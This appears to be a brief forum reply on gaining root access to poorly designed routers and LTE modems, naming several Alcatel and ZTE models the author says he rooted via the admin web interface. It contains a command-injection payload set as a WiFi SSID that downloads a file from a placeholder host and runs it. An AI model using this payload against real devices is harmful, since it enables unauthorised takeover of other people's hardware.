Maybe, maybe not.

If the CPE is sufficiently poorly designed, it might be vulnerable to command injection attacks, so by changing the WiFi SSID to something like "'; wget http://bla/payload -O /tmp/bla; chmod +x /tmp/bla; /tmp/bla; #" you could execute a command on the device.

Alcatel's HH40V and HH41V as well as ZTE MF283+ LTE modems are a recent example I can remember where I got root SSH access by injecting commands from the admin WebUI.